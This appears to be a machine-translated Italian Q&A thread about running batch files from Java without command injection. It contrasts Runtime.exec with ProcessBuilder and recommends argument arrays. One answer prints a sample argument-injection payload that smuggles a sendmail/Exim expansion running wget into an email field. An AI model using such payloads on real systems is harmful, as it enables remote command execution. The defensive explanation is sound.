Esiste un modo sicuro per eseguire un file bat da un programma Java senza la vulnerabilità di command injection?

1

Da quando si utilizza la vulnerabilità di Runtime.exec () e ProcessBuilder trigger command injection in strumenti di analisi statici, esiste un altro metodo sicuro consigliato per eseguire un file bat da un programma Java?

Codice Java:

Runtime.getRuntime().exec("C:\batFile.bat")

Analisi FindBugs:

    
posta pasanbsb 05.10.2018 - 21:56
fonte

2 risposte

1

Sì, penso che esistano modi "sicuri".

Penso anche in relazione alla tua domanda che il tuo obiettivo può essere sia che evitare Command Injection e / o non attivare avvisi in scanner di codice sorgente statici ? Il secondo potrebbe essere complicato, dato l'alto numero di falsi positivi che questi scanner generano.

Onestamente penso che il primo avviso di "Firebug" potrebbe essere nella maggior parte dei casi un falso positivo (anche se utile per consapevolezza) per "Iniezione di comando" (se stai solo chiamando un particolare file eseguibile o bat), infatti la regola dovrebbe essere applicata solo quando si chiama un interprete bash / cmd / sh. Quindi, la vulnerabilità potrebbe essere possibile quando si crea direttamente in esso argomenti nidificati da fonti sconosciute.

Esempio di comando Injection (entrambe le opzioni exec e ProcessBuilder):

        String[] cmd = new String[]{"/bin/bash","-c","/usr/sbin/sendmail -f"+emailFrom};
        Runtime.getRuntime().exec(cmd);

        //Same as Exec
        ProcessBuilder pb = new ProcessBuilder(cmd);
        pb.start();

Dato che Java esegue un fork () dell'eseguibile invece di chiamare direttamente un interprete di comandi OS (come proc_open / exec in PHP), potremmo dire che queste funzioni sono "di default" più protette contro il comando di iniezione.

D'altra parte dovresti essere consapevole anche degli attacchi "Argument Injection" (potrebbero essere combattuti come Command Injection stesso, ma leggermente diversi). In questo caso, ProcessBuilder è la soluzione sicura con cui andare. Il motivo è, exec () accetta una stringa e tokenizza / interpreta gli spazi per trasformarla in una matrice di argomenti ma ProcessBuilder no, quindi gli spazi non vengono interpretati per la tokenizzazione delle stringhe !

Esempio di iniezione di argomenti:

  }else if( ("Argument Injection".equals(submit)) ){

        //We are invoking an process without calling a sh/bash/cmd interpreter. But Still, thanks to Runtime.java tokenizer, we are able to inject extra arguments to target process.

        String cmd = "/usr/sbin/sendmail -f" + emailFrom;
        Runtime.getRuntime().exec(cmd);

Possibile carico utile:

[email protected] -be ${run{/usr/bin/wget${substr{10}{1}{$tod_log}}http://127.0.0.1/test}}

Dato che è un po 'fuori contesto per questa domanda, lascio qui una ricerca che ho eseguito su quegli attacchi. Questi argomenti potrebbero essere utili a chiunque sia preoccupato della tecnica di utilizzare le funzioni predefinite di Languages per chiamare eseguibile nei file system.

Java CommandI / ArgumentI: link

PHP: link

Rubino / Python / JS: link

Fornisco più PoC in cui puoi giocare con i diversi comandi e vedere quali si adattano alle tue specifiche più sicure per l'esecuzione del file di destinazione.

    
risposta data 06.10.2018 - 00:24
fonte
1

Non ho molta familiarità con Java, ma ho visto lo stesso problema con altre lingue. Il problema è che quando exec viene chiamato con una stringa la shell del sistema operativo deve essere coinvolta deve analizzare la stringa di comando nel comando e negli argomenti. Anche se questo non viene fatto lasciando che la shell del sistema operativo faccia la suddivisione come in molti altri linguaggi come Perl (grazie per dave_thompson_085 correggendomi) tuttavia può avere risultati non intenzionali poiché la suddivisione viene eseguita semplicemente dallo spazio bianco e non si preoccupa di quotare o fuggire. Ad esempio, se l'argomento previsto nella costruzione del comando è un nome file definito dall'utente, l'utente potrebbe fornire un nome file contenente spazi che verranno suddivisi in più argomenti, sebbene sia inteso come singolo. A seconda di ciò che viene effettivamente eseguito, ciò potrebbe anche portare all'iniezione non intenzionale del comando. Questo è simile alle iniezioni SQL che possono verificarsi quando si costruiscono istruzioni SQL da input dell'utente o con XSS e altri tipi di iniezioni di codice.

La soluzione è quindi la stessa del binding di parametri da difendere dall'iniezione SQL: assicurati che non sia necessario eseguire l'analisi dalla shell per estrarre gli argomenti fornendo le parti rilevanti già analizzate. Con exec questo significa non dare una stringa di comando ma invece una matrice di comandi, ad esempio qualcosa di simile a questo (assicurati che siano effettivamente necessari cmd.exe e /c ):

String[] cmdArray = new String[3];
cmdArray[0] = "cmd.exe";
cmdArray[1] = "/c";
cmdArray[2] = "C:\batFile.bat";
Runtime.getRuntime().exec(cmdArray);

Vedi anche StackOverflow: come posso eseguire un file batch dalla mia applicazione Java? .

    
risposta data 05.10.2018 - 23:10
fonte

Leggi altre domande sui tag